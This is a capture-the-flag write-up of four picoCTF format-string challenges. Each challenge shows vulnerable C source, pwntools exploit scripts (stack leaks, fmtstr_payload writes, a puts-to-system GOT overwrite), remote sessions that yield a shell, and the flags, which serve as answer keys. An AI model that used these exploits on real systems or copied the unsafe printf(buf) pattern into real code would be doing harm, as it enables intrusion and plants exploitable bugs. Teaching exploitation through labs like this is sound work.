pwn - format string 0123

Can you use your knowledge of format strings to make the customers happy? | Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest! | This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack! | This program doesn't contain a win function. How can you win?

November 4, 2025 September 11, 2025 Medium
Author Author Hung Nguyen Tuong

format string 0 (Easy)

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 32
#define FLAGSIZE 64

char flag[FLAGSIZE];

void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

int on_menu(char *burger, char *menu[], int count) {
    for (int i = 0; i < count; i++) {
        if (strcmp(burger, menu[i]) == 0)
            return 1;
    }
    return 0;
}

void serve_patrick();

void serve_bob();


int main(int argc, char **argv){
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();
  
    return 0;
}

void serve_patrick() {
    printf("%s %s\n%s\n%s %s\n%s",
            "Welcome to our newly-opened burger place Pico 'n Patty!",
            "Can you help the picky customers find their favorite burger?",
            "Here comes the first customer Patrick who wants a giant bite.",
            "Please choose from the following burgers:",
            "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice1[BUFSIZE];
    scanf("%s", choice1);
    char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
    if (!on_menu(choice1, menu1, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        int count = printf(choice1);
        if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
    }
}

void serve_bob() {
    printf("\n%s %s\n%s %s\n%s %s\n%s",
            "Good job! Patrick is happy!",
            "Now can you serve the second customer?",
            "Sponge Bob wants something outrageous that would break the shop",
            "(better be served quick before the shop owner kicks you out!)",
            "Please choose from the following burgers:",
            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice2[BUFSIZE];
    scanf("%s", choice2);
    char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
    if (!on_menu(choice2, menu2, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        printf(choice2);
        fflush(stdout);
    }
}

Solve

image

image

┌──(hungnt㉿kali)-[~/Desktop]
└─$ nc mimas.picoctf.net 52758
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
There is no such burger yet!

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_ef312157}

format string 1 (Medium)

Source Code

#include <stdio.h>


int main() {
  char buf[1024];
  char secret1[64];
  char flag[64];
  char secret2[64];

  // Read in first secret menu item
  FILE *fd = fopen("secret-menu-item-1.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-1.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret1, 64, fd);
  // Read in the flag
  fd = fopen("flag.txt", "r");
  if (fd == NULL){
    printf("'flag.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(flag, 64, fd);
  // Read in second secret menu item
  fd = fopen("secret-menu-item-2.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-2.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret2, 64, fd);

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  printf("Bye!\n");
  fflush(stdout);

  return 0;
}

Mitigation

image

Solve

┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo 'secret1' > secret-menu-item-1.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo 'flag{}' > flag.txt

┌──(hungnt㉿kali)-[~/Desktop]
└─$ echo 'secret2' > secret-menu-item-2.txt

image

image

from pwn import *

p = process('./format-string-1')

context.update(arch='amd64', os='linux')

context.terminal = ['qterminal', '-e']

gdb.attach(p, gdbscript='''
b *main+340
c
''')

p.sendlineafter(b"Give me your order and I'll read it back to you:\n", b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p')

p.interactive()

image

image

┌──(hungnt㉿kali)-[~/Desktop]
└─$ nc mimas.picoctf.net 58475
Give me your order and I'll read it back to you:
%20$p%19$p%18$p%17$p%16$p%15$p%14$p%13$p%12$p
Here's your order: 0x7b6dec6768d80x70x7d6638396237640x35625f673431665f0x3478345f333179370x355f31346d316e340x7b4654436f636970(nil)(nil)
Bye!

image

format string 2 (Medium)

Source Code

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];


  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

Mitigation

image

Solve

image

image

from pwn import *

context.update(arch='amd64', os='linux')

context.terminal = ['qterminal', '-e']

p = process('./vuln')
e = ELF('./vuln')
sus = e.symbols['sus']

gdb.attach(p, gdbscript='''
    b *main+95
    c
''')

offset = 0

writes = {sus: 0x67616c66}

payload = fmtstr_payload(offset, writes)

p.sendlineafter(b"What do you have to say?\n", payload)

p.interactive()

image

gdb.attach(p, gdbscript='''
    b *main+95
    c
    ni
''')

offset = 14

writes = {sus: 0x67616c66}

payload = fmtstr_payload(offset, writes)

p.sendlineafter(b"What do you have to say?\n", payload)

p.interactive()

image

Script

from pwn import *

context.update(arch='amd64', os='linux')

p = remote('rhea.picoctf.net', 57001)
e = ELF('./vuln')
sus = e.symbols['sus']

offset = 14

writes = {sus: 0x67616c66}

payload = fmtstr_payload(offset, writes)

p.sendlineafter(b"What do you have to say?\n", payload)

p.recvuntil(b"I have NO clue how you did that, you must be a wizard. Here you go...\n")

print(p.recvall(timeout=2).decode())
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py                                                                                                                                                                               
[+] Opening connection to rhea.picoctf.net on port 57001: Done
[*] '/home/hungnt/Desktop/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Receiving all data: Done (40B)
[*] Closed connection to rhea.picoctf.net port 57001
picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}

format string 3 (Medium)

Source Code

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
	puts("Howdy gamers!");
	printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
	char *all_strings[MAX_STRINGS] = {NULL};
	char buf[1024] = {'\0'};

	setup();
	hello();	

	fgets(buf, 1024, stdin);	
	printf(buf);

	puts(normal_string);

	return 0;
}

Mitigation

image

image

Solve

┌──(hungnt㉿kali)-[~/Desktop]
└─$ chmod +x format-string-3 ld-linux-x86-64.so.2
┌──(hungnt㉿kali)-[~/Desktop]
└─$ ./format-string-3 
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f02b6bd83f0
test 
test
/bin/sh

image

image

from pwn import *

context.update(arch='amd64', os='linux')
context.terminal = ['qterminal', '-e']

p = process('./format-string-3')
e = ELF('./format-string-3')
libc = ELF('./libc.so.6')

gdb.attach(p, gdbscript='''
b *main+160
c
''')

p.recvuntil(b'in libc: ')

runtime_setvbuf = int(p.recvline().strip(), 16)

print(hex(runtime_setvbuf))

p.interactive()

image

image

runtime_setvbuf = int(p.recvline().strip(), 16)
static_setvbuf = libc.symbols['setvbuf']
libc_base = runtime_setvbuf - static_setvbuf

static_system = libc.symbols['system']
runtime_system = libc_base + static_system
put_got = e.got['puts']

offset = 0
writes = {put_got: runtime_system}
payload = fmtstr_payload(offset, writes)

p.sendline(payload)

image

┌──(hungnt㉿kali)-[~/Desktop]
└─$ py
Python 3.13.7 (main, Aug 20 2025, 22:17:40) [GCC 14.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> (0x7ffc352c2fc0 - 0x7ffc352c2ec0)/8 + 6
38.0
gdb.attach(p, gdbscript='''
b *main+160
c
ni
''')

p.recvuntil(b'in libc: ')

runtime_setvbuf = int(p.recvline().strip(), 16)
static_setvbuf = libc.symbols['setvbuf']
libc_base = runtime_setvbuf - static_setvbuf

static_system = libc.symbols['system']
runtime_system = libc_base + static_system

put_got = e.got['puts']

offset = 38
writes = {put_got: runtime_system}
payload = fmtstr_payload(offset, writes)

p.sendline(payload)

p.interactive()

image

Script

from pwn import *

context.update(arch='amd64', os='linux')

p = remote('rhea.picoctf.net', 50929)
e = ELF('./format-string-3')
libc = ELF('./libc.so.6')

p.recvuntil(b'in libc: ')

runtime_setvbuf = int(p.recvline().strip(), 16)
static_setvbuf = libc.symbols['setvbuf']
libc_base = runtime_setvbuf - static_setvbuf

static_system = libc.symbols['system']
runtime_system = libc_base + static_system

put_got = e.got['puts']

offset = 38
writes = {put_got: runtime_system}
payload = fmtstr_payload(offset, writes)

p.sendline(payload)

p.interactive()
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py 
[+] Opening connection to rhea.picoctf.net on port 50929: Done
[*] '/home/hungnt/Desktop/format-string-3'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/home/hungnt/Desktop/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Switching to interactive mode
                                                                                               c                        \x8b                                                                             \xe0                                \x01                                                                       \x00                      \x00aaaaba\x18@@$                      l                                                                                                                             ls                                                                                                                            ls
Makefile
artifacts.tar.gz
flag.txt
format-string-3
format-string-3.c
ld-linux-x86-64.so.2
libc.so.6
metadata.json
profile
$ cat flag.txt
picoCTF{G07_G07?_92325514}